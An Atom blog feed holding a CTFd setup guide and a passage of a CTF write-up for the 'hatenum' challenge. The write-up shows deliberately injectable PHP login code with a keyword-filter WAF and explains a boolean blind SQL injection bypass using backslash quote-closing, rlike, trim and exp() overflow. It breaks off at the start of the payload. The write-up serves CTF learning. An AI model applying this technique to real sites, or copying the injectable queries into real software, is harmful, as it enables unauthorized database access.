<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>Cc&#39;s Blog</title>
  <icon>http://www.cclss.top/img/favicon.jpg</icon>
  <subtitle>TO BE OR NOT TO BE</subtitle>
  <link href="http://www.cclss.top/atom.xml" rel="self"/>
  
  <link href="http://www.cclss.top/"/>
  <updated>2022-05-07T12:35:03.000Z</updated>
  <id>http://www.cclss.top/</id>
  
  <author>
    <name>HK cc</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>记一次CTFd搭建经历</title>
    <link href="http://www.cclss.top/post/ctfd_create/"/>
    <id>http://www.cclss.top/post/ctfd_create/</id>
    <published>2022-05-07T12:35:03.000Z</published>
    <updated>2022-05-07T12:35:03.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="前言"><a class="markdownIt-Anchor" href="#前言">#</a> 前言</h1><p>一直不想更新博客，最近组织了校内 ctf 内部比赛，之前学长搭建的 CTFd 平台版本有点过时于是打算重新部署一个最新版的，期间遇到了很多问题 同时也十分感谢<a href="https://vaala.cat/"> VaalaCat</a> 师傅的耐心指点。</p><p>现将本人搭建 CTFd 的一点经验分享出来</p><p>CTFd Version 3.4.3</p><h1 id="搭建"><a class="markdownIt-Anchor" href="#搭建">#</a> 搭建</h1><blockquote><p>我这里参考的是 vaalacat 师傅的博客再次致谢</p></blockquote><h2 id="准备环境"><a class="markdownIt-Anchor" href="#准备环境">#</a> 准备环境</h2><ul><li>docker</li><li>docker-compose</li></ul><h2 id="配置准备"><a class="markdownIt-Anchor" href="#配置准备">#</a> 配置准备</h2><p>首先创建一个 swarm</p><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker swarm init</span><br></pre></td></tr></table></figure><p>然后加入</p><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">docker node update --<span class="keyword">label</span><span class="bash">-add=<span class="string">&#x27;name=linux-1&#x27;</span> $(docker node ls -q)</span></span><br></pre></td></tr></table></figure><p>镜像源可以根据自己网络需要进行更改  <code>/etc/docker/daemon.json</code></p><p>修改后 重启生效</p><figure class="highlight docker"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sudo systemctl daemon-reload</span><br><span class="line">sudo systemctl restart docker</span><br></pre></td></tr></table></figure><h2 id="安装"><a class="markdownIt-Anchor" href="#安装">#</a> 安装</h2><p>参考以及使用 VaalaCat 师傅的仓库</p><h3 id="下载"><a class="markdownIt-Anchor" href="#下载">#</a> 下载</h3><p>首先使用 VaalaCat 师傅仓库中的  <code>ctfd</code> ，已经做好了镜像换源等工作。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">PLAINTEXT</span><br><span class="line">git clone https:&#x2F;&#x2F;github.com&#x2F;VaalaCat&#x2F;CTFd.git --depth&#x3D;1</span><br></pre></td></tr></table></figure><h3 id="配置"><a class="markdownIt-Anchor" href="#配置">#</a> 配置</h3><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">conf&#x2F;frp&#x2F;frps.ini # token 保持一致</span><br><span class="line">conf&#x2F;frp&#x2F;frpc.ini # token 保持一致</span><br></pre></td></tr></table></figure><blockquote><p>由于我 frps 使用的是 host 网络模式 将原有配置修改</p><p>host 模式 frps  端口随容器开起</p></blockquote><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">[common]</span><br><span class="line">bind_port &#x3D; 7000</span><br><span class="line">vhost_http_port &#x3D; 9123</span><br><span class="line">token &#x3D; your_token</span><br></pre></td></tr></table></figure><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">[common]</span><br><span class="line">token &#x3D; your_token</span><br><span class="line">server_addr &#x3D; 172.17.0.1 #此处需要将ip修改为frps 中docker0 网卡的ip</span><br><span class="line">server_port &#x3D; 7000</span><br><span class="line">admin_addr &#x3D; 172.1.0.4</span><br><span class="line">admin_port &#x3D; 7400</span><br></pre></td></tr></table></figure><p><img src="https://cdn.jsdelivr.net/gh/Cclss/pic/img/202205072111270.png" alt="image-20220507211154919"></p><p><code>docker-compose.yml</code>  修改如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line">version: &#39;3&#39;</span><br><span class="line"></span><br><span class="line">services:</span><br><span class="line">  ctfd:</span><br><span class="line">    build: .</span><br><span class="line">    user: root</span><br><span class="line">    restart: always</span><br><span class="line">    ports:</span><br><span class="line">      - &quot;8000:8000&quot;#看自己需要修改此处我修改为8000端口访问面板</span><br><span class="line">      </span><br><span class="line">#省略中间保持不变即可</span><br><span class="line"></span><br><span class="line">frps:</span><br><span class="line">    image: glzjin&#x2F;frp</span><br><span class="line">    restart: always</span><br><span class="line">    volumes:</span><br><span class="line">      - .&#x2F;conf&#x2F;frp:&#x2F;conf</span><br><span class="line">    entrypoint:</span><br><span class="line">      - &#x2F;usr&#x2F;local&#x2F;bin&#x2F;frps</span><br><span class="line">      - -c</span><br><span class="line">      - &#x2F;conf&#x2F;frps.ini</span><br><span class="line">    network_mode: host #此处改为host 下面注释</span><br><span class="line">#    ports:</span><br><span class="line">#      - 27000-27200:27000-27200  # 映射direct类型题目的端口</span><br><span class="line">#      - 9123:9123  # 映射http类型题目的端口</span><br><span class="line">#    networks:</span><br><span class="line">#      default:</span><br><span class="line">#      frp_connect:</span><br><span class="line">#        ipv4_address: 172.1.0.3</span><br><span class="line"></span><br><span class="line">……</span><br><span class="line">networks:</span><br><span class="line">  default:</span><br><span class="line">  internal:</span><br><span class="line">    internal: true</span><br><span class="line">  frp_connect:</span><br><span class="line">    driver: overlay</span><br><span class="line">#    internal: true  此处注释</span><br><span class="line">    attachable: true</span><br><span class="line">#其余均保持不变</span><br></pre></td></tr></table></figure><p>然后安装 whale 插件以及启动</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">git submodule update --init</span><br><span class="line">docker-compose up -d</span><br></pre></td></tr></table></figure><p>启动后访问你设置的端口 进入面板让后在 admin panle  中 whale  修改 frp</p><table><thead><tr><th>名称</th><th>参数</th></tr></thead><tbody><tr><td>API URL</td><td><a href="http://frpc:7400">http://frpc:7400</a></td></tr><tr><td>Http Domain Suffix</td><td>看自己是否有配置需求我直接采用 IP + 端口映射此处保持默认</td></tr><tr><td>Direct IP AddressFor</td><td>服务器的 ip 地址</td></tr><tr><td>Direct Minimum Port</td><td>27000 #最小端口号看自己需求设置</td></tr><tr><td>Direct Maximum Port</td><td>27200</td></tr><tr><td>Frpc config template</td><td>复制上面 frpc 配置即可</td></tr><tr><td>Frps config template [generated]</td><td>复制上面 frps 配置即可</td></tr></tbody></table><p>submit 提交</p><h1 id="题目创建"><a class="markdownIt-Anchor" href="#题目创建">#</a> 题目创建</h1><blockquote><p>此处以 WEB 动态容器为例</p></blockquote><table><thead><tr><th>名称</th><th>参数</th></tr></thead><tbody><tr><td>Challenge Types</td><td>dynamic_docker</td></tr><tr><td>Name:</td><td>题目名称随意</td></tr><tr><td>Category:</td><td>WEB</td></tr><tr><td>Message:</td><td>题目信息随意</td></tr><tr><td>Docker Image</td><td>选择你本地构建的镜像或者是云端镜像</td></tr><tr><td>Frp Redirect Type</td><td>Direct</td></tr><tr><td>Frp Redirect Port</td><td>80 #设置你镜像中开发服务的端口</td></tr><tr><td>其它</td><td>默认</td></tr></tbody></table><p><img src="https://cdn.jsdelivr.net/gh/Cclss/pic/img/202205072109059.png" alt="image-20220507210859859"></p><p>随后开起容器即可 不出意外搭建完成</p><p>如果出现故障 docker logs xxx 查看具体日志 可以 exec -it 进入容器具体分析</p><h1 id="美化工作"><a class="markdownIt-Anchor" href="#美化工作">#</a> 美化工作</h1><h2 id="主题推荐"><a class="markdownIt-Anchor" href="#主题推荐">#</a> 主题推荐</h2><p>我用的主题是  <a href="https://github.com/chainflag/ctfd-neon-theme">ctfd-neon-theme</a></p><p><img src="https://cdn.jsdelivr.net/gh/chainflag/ctfd-neon-theme@main/screenshots/index.png" alt=""></p><p><img src="https://cdn.jsdelivr.net/gh/chainflag/ctfd-neon-theme@main/screenshots/login.png" alt="img"></p><p>还有推荐 <a href="https://github.com/hmrserver/CTFd-theme-pixo">CTFd-theme-pixo</a></p><p><img src="https://camo.githubusercontent.com/9cde85215f69c4f2137f2b71ad4fd6f889eeaedff6d03257d309f5b70c815c91/68747470733a2f2f692e696d6775722e636f6d2f6c4c377a5972672e676966" alt="img"></p><p><strong><a href="https://github.com/topics/ctfd-theme">更多主题</a></strong> &lt;-&lt;-</p><h2 id="主题使用教程"><a class="markdownIt-Anchor" href="#主题使用教程">#</a> 主题使用教程</h2><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">git <span class="built_in">clone</span> https://github.com/hmrserver/CTFd-theme-pixo.git ./CTFd/themes/pixo</span><br></pre></td></tr></table></figure><p>登录 进入 admin panel  -&gt; config -&gt; Theme 修改即可</p><h1 id="参考"><a class="markdownIt-Anchor" href="#参考">#</a> 参考</h1><p><a href="https://vaala.cat/2020/09/21/ctfd%E4%BD%BF%E7%94%A8ctfd-whale%E5%8A%A8%E6%80%81%E9%9D%B6%E6%9C%BA%E6%8F%92%E4%BB%B6%E6%90%AD%E5%BB%BA%E9%9D%B6%E5%9C%BA%E6%8C%87%E5%8D%97/"><strong>ctfd 使用 ctfd-whale 动态靶机插件搭建靶场指南</strong></a></p><p><a href="https://www.huamang.xyz/index.php/archives/166/">校赛 CTFd 平台 docker 搭建 —pixo 主题</a></p><p><a href="https://www.yuque.com/hxfqg9/misc/ctfd#A0L6t">CTFd&amp;ctfd-whale 动态靶机搭建与维护</a></p>]]></content>
    
    
      
      
        
        
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;/assets/css/APlayer.min.css&quot;&gt;&lt;script src=&quot;/assets/js/APlayer.min.js&quot;</summary>
        
      
    
    
    
    <category term="ctf" scheme="http://www.cclss.top/categories/ctf/"/>
    
    
    <category term="ctfd搭建" scheme="http://www.cclss.top/tags/ctfd%E6%90%AD%E5%BB%BA/"/>
    
  </entry>
  
  <entry>
    <title>buu刷题hatenum</title>
    <link href="http://www.cclss.top/post/buu_hatenum/"/>
    <id>http://www.cclss.top/post/buu_hatenum/</id>
    <published>2021-11-26T11:35:54.000Z</published>
    <updated>2021-11-26T11:35:54.000Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="/assets/css/APlayer.min.css"><script src="/assets/js/APlayer.min.js" class="aplayer-secondary-script-marker"></script><script class="meting-secondary-script-marker" src="/assets/js/Meting.min.js"></script><h1 id="buu刷题-hatenum"><a class="markdownIt-Anchor" href="#buu刷题-hatenum">#</a> buu 刷题 Hatenum</h1><p>知识点</p><ul><li>SQL 函数</li><li>盲注</li><li>脚本编写</li></ul><h1 id="题目分析"><a class="markdownIt-Anchor" href="#题目分析">#</a> 题目分析</h1><p>题目给了源码</p><ul><li>home.php</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"><span class="keyword">require_once</span>(<span class="string">&#x27;config.php&#x27;</span>);</span><br><span class="line"><span class="keyword">if</span>(!<span class="variable">$_SESSION</span>[<span class="string">&#x27;username&#x27;</span>])&#123;</span><br><span class="line">   header(<span class="string">&#x27;location:index.php&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">if</span>(<span class="variable">$_SESSION</span>[<span class="string">&#x27;username&#x27;</span>]==<span class="string">&#x27;admin&#x27;</span>)&#123;</span><br><span class="line">   <span class="keyword">echo</span> file_get_contents(<span class="string">&#x27;/flag&#x27;</span>);</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">else</span>&#123;</span><br><span class="line">   <span class="keyword">echo</span> <span class="string">&#x27;hello &#x27;</span>.<span class="variable">$_SESSION</span>[<span class="string">&#x27;username&#x27;</span>];</span><br><span class="line">&#125;</span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><blockquote><p>当用户名为 admin 成功登录即可获得密码</p></blockquote><ul><li>config.php</li></ul><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line">error_reporting(<span class="number">0</span>);</span><br><span class="line">session_start();</span><br><span class="line"><span class="class"><span class="keyword">class</span> <span class="title">User</span></span>&#123;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$host</span> = <span class="string">&quot;localhost&quot;</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$user</span> = <span class="string">&quot;root&quot;</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$pass</span> = <span class="string">&quot;123456&quot;</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$database</span> = <span class="string">&quot;ctf&quot;</span>;</span><br><span class="line">    <span class="keyword">public</span> <span class="variable">$conn</span>;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">__construct</span>(<span class="params"></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">$this</span>-&gt;conn = <span class="keyword">new</span> mysqli(<span class="keyword">$this</span>-&gt;host,<span class="keyword">$this</span>-&gt;user,<span class="keyword">$this</span>-&gt;pass,<span class="keyword">$this</span>-&gt;database);</span><br><span class="line">        <span class="keyword">if</span>(mysqli_connect_errno())&#123;</span><br><span class="line">            <span class="keyword">die</span>(<span class="string">&#x27;connect error&#x27;</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">find</span>(<span class="params"><span class="variable">$username</span></span>)</span>&#123;</span><br><span class="line">        <span class="variable">$res</span> = <span class="keyword">$this</span>-&gt;conn-&gt;query(<span class="string">&quot;select * from users where username=&#x27;<span class="subst">$username</span>&#x27;&quot;</span>);</span><br><span class="line">        <span class="keyword">if</span>(<span class="variable">$res</span>-&gt;num_rows&gt;<span class="number">0</span>)&#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">True</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span>&#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">False</span>;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">register</span>(<span class="params"><span class="variable">$username</span>,<span class="variable">$password</span>,<span class="variable">$code</span></span>)</span>&#123;</span><br><span class="line">        <span class="keyword">if</span>(<span class="keyword">$this</span>-&gt;conn-&gt;query(<span class="string">&quot;insert into users (username,password,code) values (&#x27;<span class="subst">$username</span>&#x27;,&#x27;<span class="subst">$password</span>&#x27;,&#x27;<span class="subst">$code</span>&#x27;)&quot;</span>))&#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">True</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span>&#123;</span><br><span class="line">            <span class="keyword">return</span> <span class="literal">False</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="function"><span class="keyword">function</span> <span class="title">login</span>(<span class="params"><span class="variable">$username</span>,<span class="variable">$password</span>,<span class="variable">$code</span></span>)</span>&#123;</span><br><span class="line">        <span class="variable">$res</span> = <span class="keyword">$this</span>-&gt;conn-&gt;query(<span class="string">&quot;select * from users where username=&#x27;<span class="subst">$username</span>&#x27; and password=&#x27;<span class="subst">$password</span>&#x27;&quot;</span>);</span><br><span class="line">        <span class="keyword">if</span>(<span class="keyword">$this</span>-&gt;conn-&gt;error)&#123;    <span class="comment">// 如果sql语句报错就返回error</span></span><br><span class="line">            <span class="keyword">return</span> <span class="string">&#x27;error&#x27;</span>;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span>&#123;</span><br><span class="line">            <span class="variable">$content</span> = <span class="variable">$res</span>-&gt;fetch_array();</span><br><span class="line">            <span class="keyword">if</span>(<span class="variable">$content</span>[<span class="string">&#x27;code&#x27;</span>]===<span class="variable">$_POST</span>[<span class="string">&#x27;code&#x27;</span>])&#123;</span><br><span class="line">                <span class="variable">$_SESSION</span>[<span class="string">&#x27;username&#x27;</span>] = <span class="variable">$content</span>[<span class="string">&#x27;username&#x27;</span>];</span><br><span class="line">                <span class="keyword">return</span> <span class="string">&#x27;success&#x27;</span>;</span><br><span class="line">            &#125;</span><br><span class="line">            <span class="keyword">else</span>&#123;</span><br><span class="line">                <span class="keyword">return</span> <span class="string">&#x27;fail&#x27;</span>;</span><br><span class="line">            &#125;</span><br><span class="line">        &#125;</span><br><span class="line"></span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">sql_waf</span>(<span class="params"><span class="variable">$str</span></span>)</span>&#123;</span><br><span class="line">    <span class="keyword">if</span>(preg_match(<span class="string">&#x27;/union|select|or|and|\&#x27;|&quot;|sleep|benchmark|regexp|repeat|get_lock|count|=|&gt;|&lt;| |\*|,|;|\r|\n|\t|substr|right|left|mid/i&#x27;</span>, <span class="variable">$str</span>))&#123;</span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&#x27;Hack detected&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">num_waf</span>(<span class="params"><span class="variable">$str</span></span>)</span>&#123;</span><br><span class="line">    <span class="keyword">if</span>(preg_match(<span class="string">&#x27;/\d&#123;9&#125;|0x[0-9a-f]&#123;9&#125;/i&#x27;</span>,<span class="variable">$str</span>))&#123;</span><br><span class="line">        <span class="keyword">die</span>(<span class="string">&#x27;Huge num detected&#x27;</span>);</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">function</span> <span class="title">array_waf</span>(<span class="params"><span class="variable">$arr</span></span>)</span>&#123;</span><br><span class="line">    <span class="keyword">foreach</span> (<span class="variable">$arr</span> <span class="keyword">as</span> <span class="variable">$key</span> =&gt; <span class="variable">$value</span>) &#123;</span><br><span class="line">        <span class="keyword">if</span>(is_array(<span class="variable">$value</span>))&#123;</span><br><span class="line">            array_waf(<span class="variable">$value</span>);</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span>&#123;</span><br><span class="line">            sql_waf(<span class="variable">$value</span>);</span><br><span class="line">            num_waf(<span class="variable">$value</span>);</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>可以看到过滤非常严格  但还是存在一定缺陷   <code>\</code>    <code>()</code>    <code>rlike</code>   等没有过滤</p><p>同时后面对 code 单独验证所以无法利用  <code>username=admin\&amp;password=||1 </code>    绕过</p><h1 id="解题思路"><a class="markdownIt-Anchor" href="#解题思路">#</a> 解题思路</h1><ul><li><p>首先分析 sql 注入类型 ，通过阅读源码分析得知为 bool 盲注</p></li><li><p>寻找 匹配函数</p></li><li><p>构建 bool 值</p></li><li><p>编写脚本</p></li></ul><h2 id="匹配"><a class="markdownIt-Anchor" href="#匹配">#</a> 匹配</h2><h3 id="rlike"><a class="markdownIt-Anchor" href="#rlike">#</a> rlike</h3><p><code>rlike()</code>    类似于正则  当语句执行匹配后的结果为 True  返回 1</p><p>下面通过比较  <code>like</code>    <code>rlike</code>    <code>regexp</code>   即可快速了解</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br></pre></td><td class="code"><pre><span class="line">mysql<span class="operator">&gt;</span> <span class="keyword">select</span> <span class="string">&#x27;abcd&#x27;</span> <span class="keyword">like</span> <span class="string">&#x27;a&#x27;</span>;</span><br><span class="line"><span class="operator">+</span><span class="comment">-----------------+</span></span><br><span class="line"><span class="operator">|</span> <span class="string">&#x27;abcd&#x27;</span> <span class="keyword">like</span> <span class="string">&#x27;a&#x27;</span> <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">-----------------+</span></span><br><span class="line"><span class="operator">|</span>               <span class="number">0</span> <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">-----------------+</span></span><br><span class="line"><span class="number">1</span> <span class="type">row</span> <span class="keyword">in</span> <span class="keyword">set</span> (<span class="number">0.00</span> sec)</span><br><span class="line"></span><br><span class="line">mysql<span class="operator">&gt;</span> <span class="keyword">select</span> <span class="string">&#x27;abcd&#x27;</span> rlike <span class="string">&#x27;a&#x27;</span>;</span><br><span class="line"><span class="operator">+</span><span class="comment">------------------+</span></span><br><span class="line"><span class="operator">|</span> <span class="string">&#x27;abcd&#x27;</span> rlike <span class="string">&#x27;a&#x27;</span> <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">------------------+</span></span><br><span class="line"><span class="operator">|</span>                <span class="number">1</span> <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">------------------+</span></span><br><span class="line"><span class="number">1</span> <span class="type">row</span> <span class="keyword">in</span> <span class="keyword">set</span> (<span class="number">0.00</span> sec)</span><br><span class="line"></span><br><span class="line">mysql<span class="operator">&gt;</span> <span class="keyword">select</span> <span class="string">&#x27;abcd&#x27;</span> regexp <span class="string">&#x27;a&#x27;</span>;</span><br><span class="line"><span class="operator">+</span><span class="comment">-------------------+</span></span><br><span class="line"><span class="operator">|</span> <span class="string">&#x27;abcd&#x27;</span> regexp <span class="string">&#x27;a&#x27;</span> <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">-------------------+</span></span><br><span class="line"><span class="operator">|</span>                 <span class="number">1</span> <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">-------------------+</span></span><br><span class="line"><span class="number">1</span> <span class="type">row</span> <span class="keyword">in</span> <span class="keyword">set</span> (<span class="number">0.00</span> sec)</span><br></pre></td></tr></table></figure><h3 id="trim"><a class="markdownIt-Anchor" href="#trim">#</a> trim</h3><blockquote><p>TRIM ([BOTH/LEADING/TRAILING] 目标字符串 FROM 源字符串）</p><ul><li>BOTH 删除两边的指定字符串</li><li>LEADING 删除左边的指定字符串</li><li>TARILING 删除右边的指定字符串</li></ul></blockquote><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">mysql<span class="operator">&gt;</span> <span class="keyword">select</span> <span class="built_in">trim</span>(<span class="keyword">LEADING</span> &quot;b&quot; <span class="keyword">from</span> <span class="built_in">trim</span>(<span class="keyword">LEADING</span> &quot;a&quot; <span class="keyword">from</span> &quot;abcd&quot;));</span><br><span class="line"><span class="operator">+</span><span class="comment">------------------------------------------------------+</span></span><br><span class="line"><span class="operator">|</span> <span class="built_in">trim</span>(<span class="keyword">LEADING</span> &quot;b&quot; <span class="keyword">from</span> <span class="built_in">trim</span>(<span class="keyword">LEADING</span> &quot;a&quot; <span class="keyword">from</span> &quot;abcd&quot;)) <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">------------------------------------------------------+</span></span><br><span class="line"><span class="operator">|</span> cd                                                   <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">------------------------------------------------------+</span></span><br><span class="line"><span class="number">1</span> <span class="type">row</span> <span class="keyword">in</span> <span class="keyword">set</span> (<span class="number">0.00</span> sec)</span><br></pre></td></tr></table></figure><h2 id="构建bool"><a class="markdownIt-Anchor" href="#构建bool">#</a> 构建 bool</h2><h3 id="exp函数"><a class="markdownIt-Anchor" href="#exp函数">#</a> exp 函数</h3><p><code>exp()</code>  该函数返回 E 的 X 次方后的值，当 exp ()  函数取值超过 709 便会报错 如下所示：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">mysql<span class="operator">&gt;</span> <span class="keyword">select</span> <span class="built_in">exp</span>(<span class="number">1</span>);</span><br><span class="line"><span class="operator">+</span><span class="comment">-------------------+</span></span><br><span class="line"><span class="operator">|</span> <span class="built_in">exp</span>(<span class="number">1</span>)            <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">-------------------+</span></span><br><span class="line"><span class="operator">|</span> <span class="number">2.718281828459045</span> <span class="operator">|</span></span><br><span class="line"><span class="operator">+</span><span class="comment">-------------------+</span></span><br><span class="line"><span class="number">1</span> <span class="type">row</span> <span class="keyword">in</span> <span class="keyword">set</span> (<span class="number">0.00</span> sec)</span><br><span class="line"></span><br><span class="line">mysql<span class="operator">&gt;</span> <span class="keyword">select</span> <span class="built_in">exp</span>(<span class="number">710</span>);</span><br><span class="line">ERROR <span class="number">1690</span> (<span class="number">22003</span>): <span class="keyword">DOUBLE</span> <span class="keyword">value</span> <span class="keyword">is</span> <span class="keyword">out</span> <span class="keyword">of</span> <span class="keyword">range</span> <span class="keyword">in</span> <span class="string">&#x27;exp(710)&#x27;</span></span><br></pre></td></tr></table></figure><blockquote><p>此题可以利用此特性 来构造盲注  当然其他类似函数也是可以利用 如 pow () 等等</p></blockquote><blockquote><p>同时利用 未过滤的 \  闭合单引号 达到注入目的</p></blockquote><p>大致的 payload 如下：</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td 